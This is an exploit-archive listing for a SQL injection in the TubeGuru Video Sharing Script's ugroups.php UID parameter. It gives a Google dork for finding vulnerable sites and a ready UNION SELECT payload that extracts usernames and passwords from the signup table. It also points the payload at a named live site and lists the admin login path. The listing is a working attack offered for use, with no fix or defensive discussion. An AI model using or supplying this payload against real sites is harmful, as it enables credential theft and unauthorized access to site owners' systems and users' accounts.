TubeGuru Video Sharing Script (UID) SQL Injection Vulnerability

2008-07-30T00:00:00
ID 1337DAY-ID-3481
Type zdt
Reporter Hussin X
Modified 2008-07-30T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================================
TubeGuru Video Sharing Script (UID) SQL Injection Vulnerability
===============================================================



|___________________________________________________|
|
| TubeGuru (ugroups php UID) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.pozscripts.com/product_details.php?category_id=0&item_id=3
|
| DorK   : inurl:ugroups.php?UID=
|
|___________________________________________________|



Exploit:  

www.[target].com/Script/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,username,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+signup--



L!VE DEMO: :


http://www.tubeguru.net/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,username,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+signup--



admin login :

www.[target].com/Script/admin2/siteadmin/index.php




#  0day.today [2018-01-08]  #